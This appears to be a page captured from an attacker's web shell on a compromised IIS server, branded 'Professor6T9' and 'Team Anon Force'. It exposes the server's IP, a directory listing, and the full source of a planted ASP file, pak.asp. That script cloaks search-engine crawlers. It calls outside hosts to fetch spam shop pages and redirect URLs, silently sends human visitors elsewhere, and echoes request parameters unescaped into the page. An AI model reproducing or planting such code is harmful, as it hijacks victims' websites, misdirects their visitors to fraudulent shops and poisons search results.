Professor6T9 Web SheLL

Windows NT WEB-23 10.0 build 17763 (Windows Server 2016) i586
Microsoft-IIS/10.0
103.118.16.173

File Name : pak.asp

<%
Function getHTTPPage(url) 
On Error Resume Next
dim http 
set http=Server.createobject("Microsoft.XMLHTTP") 
Http.open "GET",url,false 
Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"  
Http.send() 
if Http.readystate<>4 then
exit function 
end if 
getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
set http=nothing
If Err.number<>0 then 
Response.Write "<p align='center'><font color='red'><b> </b></font></p>" 
Response.end
Err.Clear
End If  
End Function

Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText 
objstream.Close
set objstream = nothing
End Function
Randomize
%>
<%
if request("kk")<>"" then
ip="66.249.64.190"
else
ip=Request.ServerVariables("REMOTE_ADDR")
end if

ipurl="http://cdoi09.fr/getdomain.aspx?rnd=1&ip="&ip
domain =getHTTPPage(ipurl)
if(instr(domain,"google")=0 and instr(domain,"msn.com")=0 and instr(domain,"yahoo.com")=0 and instr(domain,"aol.com")=0) then
    if request("shop")<>""  then
    ddd=getHTTPPage("http://tz.div-js.com/wtz.txt")
    ddd=ddd&"?cid="&request("cid")&"&cname="&Server.URLEncode(request("shop"))&"&xi="&request("xi")&"&xc="&request("xc")
    Response.write "<script>self.location.href="""&ddd&"""</script>"
    end if	
     if request("searchtxt")<>""  then
    ddd=getHTTPPage("http://tz.div-js.com/wtz.txt")
    ddd=ddd&"?cid="&request("cid")&"&cname="&Server.URLEncode(request("searchtxt"))&"&xi="&request("xi")&"&xc="&request("xc")
    Response.write "<script>self.location.href="""&ddd&"""</script>"
    end if
     if request("pnum")<>""  then
    ddd=getHTTPPage("http://tz.div-js.com/wtz.txt")
	ddd=Replace(ddd, "products.aspx", "")
    ddd=ddd&"?cid="&request("cid")&""
    Response.write "<script>self.location.href="""&ddd&"""</script>"
    end if	
end if
%>
<HTML>
<HEAD>
<script>
document.cookie="u="+window.location.href;
</script>
<title> <%=request("shop")%><%=request("searchtxt")%> Online Shopping mall | Find the best prices and places to buy -<%=request("pnum")%> </title>
<meta name="keywords" content="<%=request("shop")%><%=request("searchtxt")%>"/>
<meta name="description" content=" <%=request("shop")%><%=request("searchtxt")%> > Sale OFF-<%=INT((65-50+1)*RND+50)%>% Easy,Convenient,Fashion,Cheaper Than Retail Price> Buy Clothing, Accessories and lifestyle products for women & men & child | <%=request("shop")%><%=request("searchtxt")%>" />
<meta name="robots" content="index,follow,all"/>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<META NAME="Robots"  CONTENT="index, follows">
</HEAD>
<BODY>
<%
Dim Url,Html,hyzhdy
hyzhdy="http://jwd.irrzfiy.com/GD_Page.aspx"
if request("type")<>"" then
if(request("type")="search") then
URL=hyzhdy&"?cid="&request("cid")&"&xi=1&xc=36&searchtxt="&request("searchtxt")&"&you=0&page="&Request.ServerVariables("SCRIPT_NAME")
con=getHTTPPage(URL)
Response.write con
end if

else
if request("shop")<>"" then
URL=hyzhdy&"?cid="&request("cid")&"&shop="&Server.URLEncode(request("shop"))&"&xi="&request("xi")&"&xc="&request("xc")&"&pl="&request("pl")&"&pr="&request("pr")&"&you="&request("you")&"&mt=http://tz.div-js.com/en/enm.txt"
else
cid=int((78-1+1)*rnd+1)
if request("cid")<>"" then
cid=request("cid")
end if
URL=hyzhdy&"?cid="&cid&"&xi=1&xc=36&pnum="&request("pnum")&"&you=0&page="&Request.ServerVariables("SCRIPT_NAME")
end if
con=getHTTPPage(URL)
con=Replace(con,"&you=0","")
con=Replace(con,"&pl=","")
con=Replace(con, "HHHHH", Request.ServerVariables("SCRIPT_NAME"))
con=Replace(con, "BBBBB", Request.ServerVariables("HTTP_HOST"))
con=Replace(con, "AAAAA", Request.ServerVariables("SCRIPT_NAME")&"?gj=com&type=addtocart")
con=Replace(con, "DDDDD", request("shop")&" Gold White Black Red Blue Beige Grey Price Rose Orange Purple Green Yellow Cyan Bordeaux pink Indigo Brown Silver "&request("searchtxt")&request("shop"))
con=Replace(con, "QQQQQ", "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO")&"?"&Request.ServerVariables("QUERY_STRING"))    
Response.write con
end if

%> 
</BODY>
</HTML>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	0/0	0777	2025-02-19 01:13:35
..	dir	-	0/0	0777	2025-09-01 05:55:09
Unwanted	dir	-	0/0	0777	2021-12-22 11:04:22
copy1	dir	-	0/0	0777	2025-02-19 01:13:35
1.txt	text/plain	4 B	0/0	0666	2021-09-08 08:34:14
Backup14.02.zip	application/zip	2.35 MB	0/0	0666	2020-02-14 12:54:10
Config.php	text/x-php	475 B	0/0	0666	2020-02-13 01:47:30
cow.asp	text/html	4.33 KB	0/0	0666	2021-05-21 02:02:16
google81dea44e30d69c37.html	text/plain	53 B	0/0	0666	2021-05-21 02:02:15
latest.zip	application/zip	6.37 MB	0/0	0666	2020-02-14 12:02:09
pak.asp	text/html	4.38 KB	0/0	0666	2021-05-21 02:02:16
ror.xml	text/xml	427.96 KB	0/0	0666	2021-05-21 02:09:18
rss.xml	text/xml	338 KB	0/0	0666	2021-05-21 02:09:16
s.asp	text/plain	1.15 KB	0/0	0666	2021-05-21 02:04:35
sitemap.xml	text/xml	12.98 KB	0/0	0666	2021-05-21 02:09:06
sw.asp	text/plain	1.15 KB	0/0	0666	2021-05-21 02:04:35
web.config	text/xml	973 B	0/0	0666	2019-10-14 09:19:47

Team Anon Force

https://t.me/Professor6T9x